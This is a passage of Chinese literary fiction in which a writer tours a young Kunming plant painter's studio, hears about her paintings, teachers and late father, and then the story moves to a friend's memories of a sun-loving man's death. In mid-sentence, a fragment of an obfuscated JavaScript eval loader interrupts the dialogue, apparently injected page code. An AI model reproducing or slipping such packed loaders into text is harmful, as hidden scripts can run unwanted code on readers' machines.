在昆明,很多植物得以保存它凋谢的样子。秋冬季节是干季,少雨,干果、干叶、干树枝很常见。就算是一盆无人看顾、荒在路边的小盆文竹,苏日安早已死掉,仍被秋风与日光看顾,金黄的枯枝成就另一种干净的生命。红枫也是如此,干枯的红枫叶子,从秋到冬乃至下一个春天,仍能挂在枝头。秋季,红叶五角舒展,尽情燃烧,但不会有灰烬,大多数红叶会如同蜷起来的小蜗牛,依然在枝头休憩,安然度过冬日。尤其是种在院子里、园子里、小区里的红枫,躲得过凌冽的寒风,直到春日长出新叶之前,整个树从未真正地凋零过。待新一季的新叶长出,五爪俱全的新生命会直接在蜷曲的枯叶间探头伸展,让一棵树完整地穿越四季,也穿越生死。 “上一幅,叫放轻松,这一幅,叫不着急。”姜籽说。 茶室里的所有画都是姜籽的作品。最小的一幅在柜子上,是姜籽最早的画之一,小学时候用水彩笔画的半边莲。每一朵花都只开一半,如扇面一半,姜籽把它们画成了手拉手的小花仙,彼此都更加完整了。 一旁,还有一张照片,一只黑天鹅游过湖中心,湖中涟漪将金黄色的滇朴、蓝天、白云在水中的安静倒影一同摇曳起来。画面中心,一位红衣的女士,带着黑色小礼帽,身影绰约,与朦胧的波纹融为一体。这照片有些可惜,曝光出了问题,水影晃动,连带着人也面目全非,只余下一种朦胧美。但人依然是美的,反而更美了。再一旁,和照片一样大的一幅水彩画,延续了这种“拍错了”的风格,用晕染制造出同样的波纹。 照片是姜籽爸爸拍的,画是姜籽的画的。 “一开始,我还以为她要复原,把他爸手抖的模糊修复一下,包括修复我的美貌。可画完我才知道,这是在搞复制”,姜兰解释道。后来,姜籽似乎喜欢上了这种套色晕染的风格,有段时间,她的画都是朦朦胧胧的。直到,他爸去世之后,才画作又逐渐清晰起来了。“人在的时候,允许渲染。人不在的时候,反而想尽量看清楚一些。”姜兰感慨。 二更觉得一时间话题有些沉了,没再搭话,只跟着喝茶。喝茶时,姜兰也会像很多妈妈们一样,问问东,问问西。问问家乡,问问喜好。但不会问年方几何,婚嫁与否,要不要介绍男朋友,为什么三十多还不结婚。就像她喝茶,也只是喝茶,不讲什么这茶多么好,喝茶该如何。 尽管是第一次见面,二更也觉得自在,像天上一朵云靠近了另一朵云,只是随缘,没有多余的推攘。或许,正因有这样的母亲,姜籽才能长成一个大大方方活得简单的人,看很多平常人避忌或歧视的事情,像看一棵树、一根草那般平和自然。 02 错位的游艺 喝完茶,两人从茶室走出,走入一道连廊。二更跟随姜籽继续往前,去往她在这里的一处展厅。 连廊里相对阴凉,墙面上装点着网纹草、冷水花、波斯顿蕨、彩叶合果芋等观叶植物。姜籽在这里玩了一个游戏,她划分了墙面区域,请工人像做早些年流行的数字油画那样进行了刷涂。整个墙面都是绿色的,但却有五、六十种绿。其中,十几种是一开始她自己就定下明确想要的,另外四十多种,是调试过程中发觉很好看的。 人走动时,仿佛入绿野,风吹,林动,光舞。 “有那么多种绿色吗?”二更好奇。 “当然,绿有很多种。刷漆的时候,我先按照油漆的绿色分类,选了40多种,然后自己调着玩。我更喜欢中式传统中对绿更多的表达,传统的漆匠、染匠从古籍中总结的绿色有一百多种。我自己看到的绿,更多,千万种,无穷尽。五彩斑斓的。” 姜籽边走边介绍,二更的脑海中有开始飘动奇特的句子了--“浣熊第一次打开冰箱”,一本诗集里的句子。她是这样的人,见到有趣的事时,脑子里会时不时地飘弹幕。 “但我看到的很多绿,通常是藏起来的,也就是说,大家不一定能够看得到。在多数人的眼中,它们不存在,或者时隐时现,不容易被精准地看到。所以,我试着用尽可能明显的方式制造的流动感,把它们呈现在墙面上。”姜籽忽然转过身,对着二更兴奋地说,“很高兴,你可以看到它们。” “我......其实看不到,是感受到的”,二更答,“感受到了一种波动,但看不到那么多颜色”。 二更忽地产生了一个奇怪的念头。姜籽,显然不是一个独居的人,她和母亲住在一处。但在精神世界里,她或许也长期处于一种类似独居的状态中,她独居在自己那双敏锐的双眼里。这感受来得很突然,二更打算在姜籽的画中慢慢查验。 如碧波荡漾一般,精微的,温柔的,灵巧的绿,无声地浮动,从连廊,到展厅。 在姜兰买下这座建筑之前,它不是展厅,而是一座十二边形的私人玻璃花房。最初,它繁盛过,按照原主人的口味,室内种满了仙人掌等大型多肉,室外堆砌着硕大的龙舌兰与剑兰,还安置着多处灰白色的蚌壳、海螺造型的大型雕塑。此外,还有一只两、三米高的绿色青蛙玩具雕塑,背后,带着给它上弦的8字花。原主人是花了些心思的,她大概想把这里打造成一个少女玩具的放大版本,一个保留童年喜好的花园。但不知为何,它被丢弃了。精致的窗栏在无人看顾的风雨中锈蚀,所有需要精心呵护的小型观叶植物,决绝地死去。 然而,生命力顽强的植物,脱离了主人的意志,在一座无法长大的旧花房里,继续茁壮生长。姜兰第一次看到这座花房,像看到一颗被人遗落在森林里的玩具钻石。这颗钻石不再有光彩,却依然打动了她。姜兰买下了花房,也买下了隔壁的住宅。她接手之后,花房室内的多肉被移植到室外,室内的空间经过整修,开出了新的花--女儿的画作。它们几乎全以花草为对象。 姜籽的画作画幅不大,从60*40、40*40到30*30(cm)不等。没有任何一幅会因为个头或者外在的装裱吸引眼球,需要你走近了,仔细看。 然而仔细看了,你又会走入一次次“迷失”。二更便是如此。 二更:“一种,绿色的条形浪花?” 姜籽:“不,是南洋杉,柱冠南洋杉。它的叶子细而尖,一些园林册子上会叫它‘异叶南洋杉’。在昆明老小区和时间久一点的路边,它常做行道树。我画它,是因为有一次散步,我看到一束枝条刚好落下来,已经自然风干,那样子有点像,老式的痒痒挠。 二更:“但你画的是它活着的样子。” 姜籽:“对,想画它绿着的样子。” 二更:“这是,红山茶?” 姜籽:“不,是松果,绽开的雪松落果。这一颗长得很圆润规整,像盛放的红山茶。在路灯下,我把它看成了红山茶。其实,山茶也像松果。山茶花落下来,在昆明干燥的天气里,也有可能被自然风干,花瓣变成褐色,或许它在某一个时刻,看起来也像松果。在我眼中,它们有一点点的奇妙的亲缘关系。” 回想起高中时代,回江浙读书时见过的红山茶,二更那时年纪小,偏爱小众的事物。路边常见的红山茶,在那时的她看来,太艳俗了。后来长大,她渐渐发现,很多植物都在江浙雪天衰败,但红山茶还是开得很热烈,顶着雪,依旧艳丽。她在一朵红山花面前,明白了老一辈人对红梅、红山茶、红杜鹃的歌颂。山茶,又叫断头花,落时花瓣并不会散着落,而是一朵一朵直接掉。开得热烈,去得决绝,一朵花从头到尾都让人惊心动魄。看懂了的人,很难不爱它。 二更:“这里所有的画,都带着伪装吗?” 姜籽:“对,这里是我这一两年最喜欢的游戏厅。” 从进入大学的第一年起,姜籽就已经开始追溯父亲的脚步,踏入植物研究的领域。她选择的路径,是植物科学画。它以科学、严谨的形象语言,诠释植物的物种特点。它要有完整的植物形态信息,能精确地传达视觉印象;它要体现绘画者的科学概念,以及对科学概念的整理;它的结果,是给大家认识自然提供一个准确、可靠、专业的工具,甚至其他人可以用它作为植物鉴定的工具。 姜籽小时候就喜欢翻看中国传统医药、本草类古籍中的插图,像《本草图经》《本草纲目》《救荒本草》,其中的图像对植物体形态解剖、生理功能等各方面的表达不是那么严谨,但也是实用的,有些甚至有些可爱。但在植物科学画的领域里,姜籽不能这么做。现代意义上的植物科学画和“植物分类学”紧密相关,目的性非常强,实用范围十分有限。作为一种实用美术,它可以是植物科学研究专著中的插图,可以出现在植物科学研究论文、专著中,但不会出现在讲究创意与自由的艺术合集中。 一种特殊情况下,事情会变得有趣一些。有时候,没条件看到活体植物,姜籽仅凭植物标本和研究人员的文字描述,甚至是不完整的标本去推测它的样子,这就需要动用想象力了。这时,姜籽会有一种鲜见的自由感受,但一切仍需在科学的框架下运行,不能被个人偏好与情绪影响。 所以,这些年,至少在画植物这件事上,她把自己变成了一个高精度的工具。这当然也是有趣的,因为植物本身就有独特的美,再微小也会让人觉得很辽阔。姜籽会自然地谦卑,这份谦卑,让她在植物科学画领域早早崭露头角。 然而大学毕业之后,她明确地感受到,她想说话,想表达,想抛开框架,做点别的。 这不意味着不再从事植物科学画,姜籽希望自己能驾驭两个向度的事情。一方面,出于对于植物学的情感以及对父亲的追忆,她将继续从事植物科学画。另一方面,她想寻找和确立自己的绘画语言,去创作艺术性与个性更强的作品,甚至,踏上植物考察的旅程,去观察更多真实、神奇的植物。 “想画它是活着的,毛茸茸的,柔软有水分的,摸起来有弹性的,等等等等,”姜籽说,“这些,都曾经是我刻意去规避、去克制的角度。” “我很羡慕大学时候的一个老师。我们经常调侃,他画老虎和狮子的胸毛世间第一流。其实我们是想说,他很擅长画虎和狮子生龙活虎的样子。在画毛发时,他对明暗远近的处理方式很妙,着墨层层递进,配合各种淡影与留白,去收放、回合、聚散,在不同的方向用笔锋、笔肚抵达自己独创的意趣。这让绘画本身的过程,别人观赏画的过程,都变得很有趣。 我也想去体会这种乐趣。我不会画老虎狮子,但可以画植物,叶片各种斑纹、姿态,我也可以用类似的方式去经营。‘经营’,那位老师很喜欢的词。想要画什么,先在胸中勾勒,在心中经营一番。等待‘神’出来了,我们就要做把握这个世界形与神的使者。” 二更有些懂了,把握到这些画作背后玩耍的契机,她继续往前走,不自觉地背起了手,不是老干部式的背手,是在身后,两只手轻轻地勾起了手指。每当自己在一个喜欢的地方散步,感受到一种小动物在林间探路的愉悦感,她就会不自觉地做这个动作。 姜籽跟在她身后,饶有兴致地去重温那些自己埋下的谜题。 二更:“这是......荷心水珠?” 姜籽:“对,不过这个很好猜,不要骄傲。这是一幅写实的作品,但并不容易。我想用它训练自己对绿色的‘经营’。初夏阳光下风吹荷叶动的那种绿,很好看,但想要精准地表达出来,水珠与日光晃动在一起那种透明又有一点点轻微刺眼的感觉,并不容易。所以我花了很长时间,去调整流光滑动的感觉。” 二更:“这是下在哪里的雪吗?看起来,也有点像霰,就是那种小雪粒。” 姜籽:“棕竹的花。米粒一样的花,确实有点像小小的雪粒。它是很常见的园林植物。尖尖的长叶长在一起,像一把圆圆的蒲扇。长得好又长得久的棕竹,整个植株看起来像一团球。我小时候第一次看到棕竹就是那个样子,长了几十年,长成了一大团。有一次,我发现它竟然悄悄开了花。在不下雪的城市里,自己偷偷地下了一场雪。是不是?对不对?这个故事是不是编得还不错?” 二更点头,又问:“那这个是,蟒蛇开会?” 姜籽:“三五株水杉树的根,露出地面,大概确实是在开会吧。” 二更:“紫色的鹦鹉?” 姜籽:“油麻藤单个的花。油麻藤油亮的黑紫色,爬满了墙,像披了华美外袍的女巫。但气味比较刺鼻。单个的花就比较可爱了,穿燕尾服的小鸟。” 二更: “火烧云?” 姜籽:“槭叶酒瓶树,翠湖有两棵。每年春末夏初就会开始开花,花朵很小,并不能像南方的凤凰花或是红棉花那样开得十分热烈。但因为数量多,它看上去也是一整团接一整团的火,小火苗。它长得很高,远看,一整棵树也都是红的。酒瓶树的小酒杯并不大,比风铃花更小,大概只是它的一半。落在地上,单个看,并不扎眼。多了,就成一地的红色。落日之前,某一个时刻,这片红色远远看上去,像一朵火烧云。所以我画了这片云” 二更:“那如果一个人散步,碰巧走到这棵树下,捡起一朵酒瓶花,是不是可以朝着这棵树碰一下杯?” 姜籽:“我这样干过。” 二更: “星空!?” 姜籽:“火龙果花田。我有一次去参加海南国家森林公园的一个植物画展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜籽:“两年前?是一个全国性植物志项目,我作为参与者,也要去北京开会。我妈拜托一位植物生态学的前辈照顾我,于是我被安排住在了他任教的大学的招待所里,在北师大的老校区里,邻近老教师们住的家属院。傍晚,我跟着那位前辈散步,送他回家后,自己回招待所。 我记得那时候是冬天了。天气灰蒙蒙的。学校里很多黑乌鸦在头顶飞过,地上有很多白色的鸟粪。我一路都很担心被砸中,心事重重的。无意间一抬头,看见一个悬挂在灰黄天空中的柚子,已经风干了。它周围的叶子和其他果实都已经掉光了,但它,迟迟不肯掉下来。 我那时不知道哪里来的冲动,问前辈说,有没有杆子,可不可以把那颗柚子打下来。 他哈哈大笑,然后说,没有。不过他也这样想过。他说,学校里的柚子树,每年冬天都结果,每年都有那么一两个,一直挂着,就不下来,直到风干。但后来他会想,不如,就把它当月亮。‘当我在大时代里有无力感的时候,我就看看离我最近的这颗月亮。哪怕它不怎么圆,但它倔啊。’” 二更:“前辈是个妙人。” 姜籽:“他几年前去世了,葬在了他培植成功的一株植物旁边。” 二更:“不知道是哪一棵树,有没有挂过一颗月亮。” 姜籽歪了歪头,无言,她也不知道。 姜籽继续跟着二更往前走。二更猜,姜籽答,她有许多许多个“以为”,都错了。以为是一条笔直宽阔的公路,其实是水培萝卜长出来的叶子,最长的那一片,中间的部分。以为是茴香,其实是水培胡萝卜块长出来的纤细嫩叶。以为是受到惊扰忽然从林间耸起的眼镜蛇,其实是天南星佛焰苞。以为是一只被谁随便丢在地上的香蕉皮,结果,是翅子木落下来的花瓣。以为是一颗蒜,结果是花叶良姜的花苞。 所有人的自以为是,都会被大自然温柔的调戏。 画室外,有一片露台,三面皆是绿,还能看到那只巨大的青蛙雕塑。它始终没有涂新漆,依然是一副活在谁的记忆中的旧模样。此刻天色已经好了。她们找了一个能看见远处操场的角度,站着等待夕阳。 换姜籽来发问了:“你会用什么形容词,或者说,量词来形容花草?” 二更答:“一丛一丛,一层一层,一半一半,一对一对,一蝶一蝶?” “这是什么形容?一蝶......一蝶”,姜籽认真思量了一会儿,还真的有一蝶一蝶的植物,比如蝴蝶花,有时会出现在昆明的绿化带里。 “我不擅长和人类打交道。我偶尔遇到的一些有趣的人,不多,都是因为植物。”姜籽说,“所以,我也只能先带小佘姐来这里,我在谈论植物和画画的时候,比较真心。” “我的启蒙老师,是云南的一位彩墨画家,她叫罗星草。 我最开始画得最多的植物是荷花。那时因为我上小学,我家住在翠湖附近。夏季,翠湖的主角是荷花,还有人挑着担子卖荷花。卖花的人会像拍小猫小狗的头一样,把荷花拍开,再拿给我。拍荷花是一种技术,有时,我自己买回来拍着玩,要么就拍扁了,要么就直接拍掉了花瓣。罗老师也很会拍荷花的头。拍的时候,她就不像大多数时候那样温柔了。拍好之后,她会找一个陶罐子插好,让我们用兼工带意的方式去画,要画出‘花瓣尖端的锐气,花瓣颜色的渐变,亭亭玉立的爽利,还有一朵花的粉黛温柔’。我当时觉得,这像念咒。因为不理解,还用笔记了下来。去年,我翻看笔记,才发现这段话很实用。 我记得她说,白莲花也要透出着一点点花瓣脉络里的红。那时我也不太理解,后来上课时,她带了一串茉莉花,就是街头卖的那种用白棉线穿起来的茉莉花,但要求我们第二天再画它。等到第二天再看,花已经干枯了,前一日雪白的花瓣变成了粉紫色。从那时起,我画白花,总会带一点点不仔细看不出来的粉色。我想给它的退场,留一点温存的余地。 罗老师有时候会去菜市场,带回来一些东西,让我们一群小孩画。最初的最初,很小的时候,我就画青菜萝卜。 画白菜,菜叶子上被虫要出来一条长长的痕迹,像褐色的拉链。她说,这个白菜心很大,很宽容,有伤口,就会愈合。 画扁的卷心菜,她把卷心菜一层一层剥开,到最后,就是嫩黄色的小贝壳。我们就画这个小贝壳。 画土豆,她说土豆埋在地下,看起来平平无奇,但好在地上有花。所以她让我们画土豆的花。我们边画边听她说,土豆可以在地窖里保存好几个月,芥末油是从芥菜来的,芥菜的耔炸出来的。 还有一次,她带过来一小根辣椒苗,说这是她们小区垃圾桶旁边长出来的小辣椒,大概是哪家人把不吃的辣椒籽装进垃圾袋丢了过来,又不知道为什么撒出来一些。小辣椒生命力很强,自己长出来了。所以我们要画小辣椒。 在画那些濒危植物之前,我小时候,画的就是这些最日常的土豆、辣椒、红薯、紫薯。对了,还有姜。姜长出来的叶子像竹子,带着清香。 有时候,我们不在画室,就去翠湖,也去过圆通寺。去圆通寺并不会画庙宇楼台,而是画寺里僧人们的菜地。小白菜、油菜、茄子、西红柿。我人生第一次画茄子,就是在圆通寺。画了很多次,因为油亮的紫色并不好画。 大学毕业的之后,在面临自由与秩序感的矛盾时,我发觉自己的想象力受限,不知如何释放,又想到了她。她听了我的困惑,让我画一幅画,命题作文:当植物登上陆地时,大陆最初的景象。 最早登上陆地的植物是蕨类。库克逊蕨,最早的化石由一位叫库克逊的年轻女学生在威尔士发现,所以就由她的名字命名了。我试着去画这种蕨,但老师在我身后,把手撘在我的肩膀上,轻轻地说,这个题目,要画的是“大陆最初的景象”,是有了植物之后的大地。你需要重新锚定重心,不是去如何真实地描画一种植物,好好去想象,有了它之后的新世界。 从那之后,我做了很多练习,想要改变思维方式,‘好好去想象’,去想象有了某种植物之后的世界,去编写一些属于这种植物的新故事。这里的画,就是这一两年的练习作品。它们不一定很优秀,却是我的头脑复苏练习,我打算好好收藏。所以,就有了这个画室。” “但是,小佘姐”,姜籽转了身,背靠栏杆,看着二更,坦诚地说,“把你请过来的原因,还有其他。我想......从画室里走出去,未来,多做一些野外的植物考察。” “像你父亲那样吗?”二更问。 “我还没想好,也不知道要和谁说。”姜籽诚实地答道,“我妈,对这些比较敏感。” “我爸,有一张亲吻大地的照片,是他最后留下的照片。高原上的绿绒蒿,在紫外线的照射下,蓝得发紫,特别特别美。他在生命快结束的时候,见到了它。但他那次没有活着回来。不止我妈,直到现在,我对走出去,多多少少还是有一些恐惧,因为它和失去有关,让人很痛苦的失去。我好不容易才慢慢从失去里走出来,长时间以来,并不敢冒然走出去。但这一年,我发觉,我有冲动了,不想闷在画室里,想离爸爸,离爸爸的世界近一点。但我想,我妈......大概不让吧。” 二更读过一些早期博物学家的传记。16世纪到18世纪的欧洲,博物学家踏上遥远的征程,长途跋涉前往异地做植物考察。她记得某一本书里,提到有个地方叫做拉普兰,似乎是瑞士还是哪里的一个地方?博物学家会一边采集植物,一边观察拉普兰地区风俗,写入日记。他的日记中提到了一种疑似牛肝菌属的菌类。拉普兰的年轻人经常用它来求爱。小伙子们发现这种真菌后,会小心翼翼把它装在袋子里,悬挂在腰间,让它会发出令人愉悦的味道。在约会时,姑娘更容易爱上这样的年轻人。在考察期间,这位博物学家还学会了学会了如何阉割驯鹿! 以前的博物学家、植物学家们,没有今天的现代仪器,不靠大数据,也没有电子地图,没有关于某一种植物准确的照片或者图片。他们有可能找到什么,也可能什么也找不到。她读着这样的片段,总在想象:一个植物学家快丢了半条命的时候,忽然在前方看见了一株自己梦寐以求的植物,而且它刚开长到了最美的时候。他们会激动地下跪,亲吻大地,用余下的一生去怀念这样的时刻。 今天的人们在海量的信息之下,可以轻而易举地查阅到很多资料。人们可以缩短探索的路程,拓展考察的深度,那么,植物学家在看到一株罕见的植物最美好的样子时,还会有最顶级最纯粹的心动吗? “会吧”,姜籽幽幽地说,“画植物很多年,从来没有厌倦过。如果可以看到更多生动的它们,我想,我一定会哭。” “我画植物时,心会很静。任何一种植物,无论再小,哪怕只有拇指盖那么大,当你看它,它都有细致的独一无二的纹路。叶脉像河流,主流、支流默契地流动着。花瓣像设计精密的仪器,按照稳定的秩序彼此拥抱。 相较于人,植物是一种非常稳定的存在。它的内核很稳定,但它有很多不同的形态,随时间变化,也随人观察的视角变化。惊喜总是不断的。 比如紫藤吧,花开的时候,叶子就几乎变黄了,于是就有了黄紫的经典搭配。从侧面看,它像一串一串葡萄,从顶上看,它们是一圈一圈的同心圆。如果刚好有一串葡萄和你的视线平齐,你就会看到每一朵紫藤花都像小金鱼,金鱼尾巴上还会有一抹金黄,像是白鹇最长、最饱满的那一束尾羽。 不是每一串上的每一朵都会同时开放,如果一串中,顶上开了下面没开,左边开了右边没开,它就会失重,会飘荡起来,由那几朵已经开放的花朵带着,倾斜地飘入这个世界。这样的紫藤和它的枝干,总是会成一个锐角,像船帆,这是它还在航行、路还很长的象征。 和植物打交道,我可以感受到一种从容的秩序感。无论一朵牵牛花看上去多么弱不经风,摇摇晃晃,它静下来时,她就在她自己选择那个位置,力道刚好。 这种品质,恰恰是人类所稀缺的。所以我无论什么时候看到它们,都会因为自己没有而它们有的品质,感到喜悦。看得更真实,就会更受触动。” “所以,我想走出去,多看看,再多看一些。”姜籽说。 “那么,和我接下来要做的事,也算是一种提前的练习吗?”二更问。 “嗯”,姜籽答,“而且见到你,我放松了许多。” 天慢慢烧起一片温柔的红,尽管下午有段时间多云转阴,今日晚霞依旧尽职尽责过来点卯。 二更静静地听,她觉得姜籽内心早有决议,只是需要一些确认的时间,或者说,需要一位安静倾听的朋友,让她对外倾诉,以及确认。想了想,她没有对这件事下任何评论。 她想到另一件事。二更很早就留意到,苏铁女士纪念活动邀请函上的花束图案,格外清简,但又很灵动。她搜索过活动的现场图片,现场有一束配色相近的的捧花,作为主场的装饰,色彩以白色、绿色为底,点缀多层次的紫色。绿色和浅紫色的桔梗、白色的香豌豆、绿菟葵、深紫色的银莲花,还用了最常见的常青藤做了点缀。 “这是我看到苏女士简略生平时,脑海中闪现的色彩”,姜籽解释道。她果然是这束花的设计者。“说起来,当延老师和我聊苏铁女士的时候,我联想到另一个人。她似乎,也可以说是我愿意做接下来工作的另一个原因。”姜籽说,“我想打破一些无趣的偏见。” 大学的时候,姜籽有段时间帮学校里一位老师喂猫。女老师住在学校的家属住宅楼里,一楼,有个院子。院子和客厅里,养着大约三十多只猫。 在女老师离开之前,她向姜籽和其他几位要来帮着喂猫的学生,详细介绍了每只猫的性格和喜好。 小黑黑是一只有踏雪爪子和白领巾的警长猫,喜欢捉鸟。捉到了,就带回客厅,还喜欢撕扯成一片一片。小鸟很可怜,血肉模糊地趴在地上。但在猫咪的眼中,它觉得自己在打猎,带回来的小鸟就是猎物,是功勋,是拿回家给主人和其他猫咪分享的礼物。所以它自认地位高一些,找到舒服的高处就会窝着。姜籽总是会在橱柜顶上找到它,带着一脸“我是家里老大”的威严神态。 由于小黑黑扒拉过鸟窝,鸟妈妈复仇,报复过猫群,可惜找错了对象,反啄了雅典的屁股。雅典是一只奶牛猫,和小黑黑一样都是黑色打底,但白色色块的分布并不一样。它没有雪白的爪子,肚皮和后腿处有大量的白。因为屁股和小黑黑一样,都是黢黑的一大团,鸟妈妈没有仔细分辨,啄错了屁股。屁股受伤后,雅典学乖了,只从家里窗户的栏杆向外露个头,后半身尤其是宝贵的大屁股永远躲在窗户以内。 花花很怕人,常年在外面的花园生活,不会进屋子。她的敏感让人更有怜惜的冲动。黄黄,是十二三岁的猫,年纪大了,不如其他小猫灵动。它是小黑黑的长辈,因此总是和小黑黑一起吃饭。点点,曾经离家出走过,9天才回来,回来时很瘦,吃了苦头,便不再出走了,开始学着和家里的许多猫和谐相处。弟仔,是一只有脾气的猫,因被带去绝育后很生气,再也不许老师碰它。但它又很鸡贼,自己没有噶到蛋蛋之前,生过两个小猫咪。它也送来家里吃猫粮,并告诉小猫,只吃粮,不许人碰,不然蛋蛋就保不住了。所以两只小猫从来只吃,不住,都无法被轻易抓到。 阿浪是游走在外的一只猫,只有饿了才回院子里干饭。女老师在家的时候,她每天傍晚都会等在院墙外的车顶上,和主人一起出去散步,并陪伴她回来,但从不进屋。世界很大,它不愿意被圈养。世界也不大,她的爱,刚好给女老师一个人。 在老师出差的一个多月里,姜籽和这些猫友好地相处。女老师回来之后,在家好好款待了姜籽一番,恋恋不舍把姜籽送出家门。阿浪已经在等着了。女老师嘱咐阿浪,送姜籽出校门,阿浪就真的一直陪着姜籽,快到校门口,又折返回去,陪老师散步的时间到了,她不能迟到。 “坦白说,这位老师的生活状态确实有一点点特别。她家里没有镜子,连洗手间和卧室里也没有。三十只猫咪在客厅自由来回,难免有些杂乱。起初,还有一个男孩子也一起来帮忙。只不过,他从第二天开始,就对老师的私生活妄加评论,猜老师感情有没有受过伤害、能不能生育,甚至猜精神是否正常。猜来猜去,很无聊,更冒犯。我当时听不下去了。我觉得这些猜测对一位独自居住的女士很不友好,充斥着各种偏见。人家就是想要这样的生活,和许多只猫一起生活,没有打扰到别人,有什么不可以呢? 延老师邀请我设计苏铁女士纪念活动的邀请函和活动花束时,我想起了这位老师。她们都是很好的人,特别,但美好。我的老师,是一位很有爱心的女士,在教学上也很用心,在生活上也选择了自己喜欢的方式。她有很好听的名字,叫杜英。她才不是谁口中奇怪的人,可以随便猜来猜去的人!” 姜籽的语气里带着愤愤不平。二更重重地点头,伸出手,拍了拍姜籽的手臂。女性之间那种彼此了然的理解,在肢体表达上总是更柔和一些,但深层次的情感共鸣,绝不逊色。 此刻晚霞告退,天色如浸入一汪通透的粉蓝长河。露台下,姜兰带着一只大金毛从外面回来。姜籽往前一步,向下大喊一声,“小黄姜!”金毛摇着蒲扇一般的大尾巴,沿着旋转楼梯,奔上露台。 孩子叫狗狗。狗狗叫小黄姜。好吧,很别致,二更偷偷笑了。 她不打算留下吃完饭,这一天信息量很足,需要自己细细消化,但她确认,这一切,都是愉快的。 当晚,老延在名为“西南调味料”的三人微信群里极为活跃,一会把群名改成“西南糖心”,一会改成“甜心调味料”。最后,临近十点,又改回“西南调味料”。此后一夜,再无动静。 二更与姜籽,各自心中,都有了答案。 3. 第二课:康定杨 日光下的隐士 01别处晒不到这样的太阳 一周后的下午,老延带着姜籽和二更到了真庆观。 昆明市区内最大的道教宫观,大隐隐于市。十字街口车水马流,走进来,清净不少。从烟火缭绕的前院走入后院,有间露天茶室。陆均松坐在一棵年岁久远的白玉兰树下,背靠财神殿,恭候多时。 陆均松不年轻。像康定杨画那张小画里的男人,他也有轻微的肚腩了,但眉眼依旧有神且好看,是一位儒雅的中年人。 “过去我总打趣,说老康像个道士,最好的年纪不结婚,只云游”,陆均松的声音带些沙哑和疲倦,“现在想他了,真来道观了,却再也找不回这个人了。” “老康应该真的去云游了”,老延妥当地接了话。 陆均松黑眼圈有点重,把身体往靠背处很深地埋了埋。他最近在忙石房子的项目。石房子,就离真庆观不远,是一个外墙为青石垒砌的“八面风”风格的别墅。建国初期,它曾是昆明市人民政府所在地,后来曾作多任市长的住房。如今,它被列入省级文物保护单位,刚改造成为一处面向公众的艺术展馆。 “我们不想做成一个标榜高雅或是西式艺术的艺术馆”,陆均松开口道,“不为了某些艺术家的小众圈子而存在,大概可以是过去昆都早报民生版块的氛围吧。”陆均松笑着解释说,“别人看不上就看不上吧,我反正是觉得,老张画了一辈子的小画,老李在夜晚无人的小厨房里写下的散文诗,都可以也值得出现在这里,然后,被小李小张老陈老王看。每次开展,不需要很多送迎来送往,没有一排又一排写着什么机构什么大家的花篮,也不要各种精心设计的海报,不需要,我们不需要那种。” “最先开始的第一场正式的展览,就从,老康的小画开始。”陆均松定了调。 一时无人接话。大家在等待他继续。陆均松,康定杨人生的最佳的注释者。康定杨的人生故事的展开,也需要从陆均松的回忆开始定调。 但从哪里开始呢?对太熟悉的人,反而一时不知从何处着手。先狠心地,说说死亡? 康定杨是1978年出生的。今年才不到五十。还好,走在了太阳好的时候。 他希望躺在草地上晒着太阳走,陆均松帮他实现了这个愿望。扶他躺到草地上的时候,老陆问老康,有人问我“你是个什么样的人”,我怎么答啊。他说,既然最后是晒太阳走的,就说“我是一个和太阳有一点关系的人”。 老陆看着他的眼睛,那时候他已经不太爱说话了,年轻时跑了太多路,心血管功能到了晚年越发不好,加上肾脏的疾病,每日都要节省力气才好活。 老康为什么那么喜欢晒太阳呢?陆均松心中有一个答案。 他回忆起许多年前,老康还常出差时,某次回到昆明,请老陆去一起参加他高中同学的葬礼。对方参军,在一次军事行动中牺牲了。 两人从追悼会现场走出来,外面的路种满了蓝桉,到处飘逸着浓烈的木质香气,闻不惯的人会觉得有点冲鼻子。两人许久未见,但在这样的场合,话并不多,走得很慢,走了很久。陆均松时不时看看桉树,他第一次发现,原来那种小铃铛一样的果子在变成果子之前,会开花。花像一朵小雪球,细密而蓬勃,虽然小,也有饱满的生命力。他又想起小时候,每到四、五月份,翠湖边和青年路边的银桦树也会开很小的花。银桦树很高,他那时个子还小,只能碰运气,找够得着的最低的那个花枝,垫着脚把花够下来,吸一口花蜜。有时,还会吸到虫子。 思绪忽然被打断了,因为他脚下踩到了东西。构树的红果子,像许多个枸杞黏在一起,圆的,熟了,落了下来,在路上爆炸。他平时看那种果子,是没什么感受的。但那一天,地上落果很多,砸在地上,天又干燥,没什么雨水冲洗,所以像一滩又一滩暗红的血块,很是显眼。两人小心地避开地上的一片片残血。陆均松觉察到一种谁也说不出的伤感和避讳。命运无常,即便老康的这位朋友把生命献给了他认为价值所在的地方,亲友依旧十分伤痛。 老陆携着老康继续在道上走。路边桉树长速太快,需要定期修剪。很快,树窝窝里又会长出新芽,远看,像一个恰巧安在树杈上的鸟窝。一棵刚被修剪成秃头的桉树下,不知谁放了一个大玻璃瓶子,里面酒已干,只剩下干了的泡酒杨梅。这只大肚瓶子,恰好卡在桉树根与水泥马路牙子的空隙里,似乎拿定主意要在这里待一会。 两人停下来,各自坐在酒瓶的一边,彷佛品酒一般,在这里晒了一会儿太阳。 老陆抬头细看这桉树。它的树干长得挺直,叶子却似柳叶,懂得柔韧弯曲。叶间刚巧开了花,白雪球一般,彷佛柳叶中的柳絮团子。一时间,不知是在桉树下,还是在柳树下,像果真喝了酒,陆均松一时晃了神。 康定杨却始终是清醒的。他突然开口说,“我们以后多去晒晒太阳。就在昆明晒,别处,晒不到这样的太阳。” 云南人都爱晒太阳。老康与其说是迷上了晒太阳,不如说本身就喜欢,后来加重了。他从那时开始,比过去更加需要太阳。找个好天气,躺在草坪上睡,睡一下午。这样一晒,就晒了二十多年。 老康走的那天,太阳很好。所有很精通晒太阳的昆明人,也会很羡慕那天的太阳。风也很轻,是暖的,抚过脸,一切安详、明朗。 他的呼吸渐渐舒缓。后来,和日光一般平静了。 那一刻的陆均松,回到了二十五、六年前。那天,太阳也很好,新闻路的路尽头,就是昆都早报所在的报社。两个年轻人先后脚进的报社。 